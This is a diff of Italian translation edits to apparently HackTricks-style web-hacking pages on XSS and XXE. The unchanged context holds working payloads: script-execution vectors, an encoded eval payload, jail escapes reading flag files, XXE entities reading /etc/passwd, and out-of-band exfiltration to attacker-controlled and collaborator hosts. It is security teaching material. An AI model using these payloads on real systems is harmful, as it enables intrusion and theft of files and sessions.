@ -116,7 +116,7 @@ Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.d
|
||||
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
||||
|
||||
Pertanto, per **abuse questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploitation **Same Origin Method Execution (SOME)**:
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'esploitazione **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
C'è **codice JS** che sta usando **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.
|
||||
C'è del **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere abusati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Alcuni **esempi**:
|
||||
|
||||
{{#ref}}
|
||||
@ -150,8 +150,8 @@ server-side-xss-dynamic-pdf.md
|
||||
## Iniettare all'interno di HTML raw
|
||||
|
||||
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_
|
||||
|
||||
In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
|
||||
```html
|
||||
@ -241,9 +241,9 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
|
||||
|
||||
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
||||
### Impossibile - Markup Pendente
|
||||
### Impossibile - Dangling Markup
|
||||
|
||||
Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Markup Pendente**](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
|
||||
Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
|
||||
|
||||
## Iniettare all'interno del tag HTML
|
||||
|
||||
@ -301,7 +301,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocollo speciali all'interno dell'attributo
|
||||
### Protocollo Speciali All'interno dell'attributo
|
||||
|
||||
Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
|
||||
```javascript
|
||||
@ -476,7 +476,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente.
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, il che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
|
||||
|
||||
### All'interno del codice JS
|
||||
|
||||
@ -488,7 +488,7 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
@ -767,7 +767,7 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
|
||||
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
|
||||
|
||||
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
|
||||
|
||||
@ -783,7 +783,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
A causa dell'**assegnazione di massa RoR**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
|
||||
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -826,7 +826,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS con iniezione di intestazioni in una risposta 302
|
||||
|
||||
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
|
||||
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
|
||||
|
||||
In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
||||
Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
|
||||
@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Tipi di script per XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
|
||||
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
@ -917,9 +917,9 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Tipi di contenuto web per XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -927,12 +927,12 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? non nella lista ma penso di averlo visto in un CTF)
|
||||
- application/rss+xml (spento)
|
||||
- application/atom+xml (spento)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo di contenuto xml
|
||||
### xml Content Type
|
||||
|
||||
Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:
|
||||
```xml
|
||||
@ -942,21 +942,21 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Special Replacement Patterns
|
||||
### Modelli di Sostituzione Speciali
|
||||
|
||||
Quando qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** viene utilizzato. L'attaccante potrebbe usare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Ad esempio in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
### Cache di Chrome a XSS
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### XS Jails Escape
|
||||
### Escape da XS Jails
|
||||
|
||||
Se hai solo un insieme limitato di caratteri da usare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -987,14 +987,14 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
|
||||
- Utilizzando import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accedere a `require` in modo indiretto
|
||||
- Accesso a `require` in modo indiretto
|
||||
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
|
||||
```javascript
|
||||
@ -1240,7 +1240,7 @@ steal-info-js.md
|
||||
|
||||
### Trappola Iframe
|
||||
|
||||
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli):
|
||||
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusa l'informazione inviata nei moduli):
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
@ -1500,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Accesso ai Contenuti Nascosti
|
||||
|
||||
Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1535,12 +1535,12 @@ xss-in-markdown.md
|
||||
|
||||
### XSS a SSRF
|
||||
|
||||
Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a passare a SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\
|
||||
Ulteriori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in PDF creati dinamicamente
|
||||
|
||||
@ -1623,7 +1623,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Suggerimenti JS vari e informazioni rilevanti
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Fondamenti di XML
|
||||
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag con nomi descrittivi. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
|
||||
- **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
|
||||
@ -35,7 +35,7 @@ In questo attacco testerò se una semplice dichiarazione di nuova ENTITÀ funzio
|
||||
|
||||
Proviamo a leggere `/etc/passwd` in modi diversi. Per Windows potresti provare a leggere: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
In questo primo caso nota che SYSTEM "_\*\*file:///\*\*etc/passwd_" funzionerà anche.
|
||||
In questo primo caso nota che SYSTEM "_**file:///**etc/passwd_" funzionerà anche.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -43,7 +43,7 @@ In questo primo caso nota che SYSTEM "_\*\*file:///\*\*etc/passwd_" funzionerà
|
||||
```
|
||||
.png>)
|
||||
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (non il caso dei laboratori di Portswigger)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -65,7 +65,7 @@ In questo terzo caso notiamo che stiamo dichiarando l'`Element stockCheck` come
|
||||
|
||||
### Elenco delle directory
|
||||
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (richiedendo solo la directory invece del file):
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (chiedendo solo la directory invece del file):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -83,7 +83,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se ciò non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -91,7 +91,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrare dati out-of-band
|
||||
|
||||
**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:
|
||||
|
||||
@ -107,8 +107,8 @@ La struttura è la seguente:
|
||||
I passaggi eseguiti da questo DTD includono:
|
||||
|
||||
1. **Definizione delle Entità Parametriche:**
|
||||
- Un'entità parametrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
|
||||
- Un'altra entità parametrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità parametrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
|
||||
- Un'entità paramétrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
|
||||
- Un'altra entità paramétrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità paramétrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
|
||||
2. **Esecuzione delle Entità:**
|
||||
- L'entità `%eval` viene utilizzata, portando all'esecuzione della dichiarazione dinamica dell'entità `%exfiltrate`.
|
||||
- L'entità `%exfiltrate` viene quindi utilizzata, attivando una richiesta HTTP all'URL specificato con i contenuti del file.
|
||||
@ -127,10 +127,10 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte
|
||||
|
||||
**In questo caso faremo in modo che il server carichi un DTD malevolo che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se puoi vedere i messaggi di errore).** [**Esempio da qui.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Document Type Definition (DTD) esterno malevolo. Questo viene realizzato attraverso i seguenti passaggi:
|
||||
Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:
|
||||
|
||||
1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, che incorpora una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
3. L'entità `eval` viene invocata, portando alla dichiarazione dinamica dell'entità `error`.
|
||||
4. L'invocazione dell'entità `error` risulta in un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
|
||||
|
||||
@ -144,11 +144,11 @@ Al momento dell'esecuzione, la risposta del server web dovrebbe includere un mes
|
||||
|
||||
.png>)
|
||||
|
||||
_**Si prega di notare che il DTD esterno ci consente di includere un'entità all'interno della seconda (\*\***`eval`\***\*), ma è vietato nel DTD interno. Pertanto, non puoi forzare un errore senza utilizzare un DTD esterno (di solito).**_
|
||||
_**Si prega di notare che il DTD esterno ci consente di includere un'entità all'interno del secondo `eval`), ma è vietato nel DTD interno. Pertanto, non puoi forzare un errore senza utilizzare un DTD esterno (di solito).**_
|
||||
|
||||
### **Error Based (system DTD)**
|
||||
|
||||
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
E quindi, cosa succede alle vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
|
||||
@ -188,7 +188,7 @@ I passaggi delineati sono eseguiti da questo DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne prima uno valido**. Puoi farlo **installando** lo stesso **OS / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **controllando** se qualcuno di essi esiste:
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **controllando** se qualcuno di essi esiste:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,7 +221,7 @@ Testing 0 entities : []
|
||||
|
||||
Per una spiegazione più approfondita di questo attacco, **controlla la seconda sezione di** [**questo post incredibile**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **di Detectify**.
|
||||
|
||||
La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che poi procedono ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.
|
||||
La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che procedono poi ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.
|
||||
|
||||
Per testare questa vulnerabilità, è necessario creare un **file Microsoft Office contenente un payload XXE**. Il primo passo è creare una directory vuota in cui il documento può essere estratto.
|
||||
|
||||
@ -235,7 +235,7 @@ Ora, il file creato può essere caricato nell'applicazione web potenzialmente vu
|
||||
|
||||
### Jar: protocollo
|
||||
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file locali e remoti.
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che remoti.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -310,9 +310,9 @@ Poi puoi provare a decifrare l'hash usando hashcat
|
||||
|
||||
### XInclude
|
||||
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
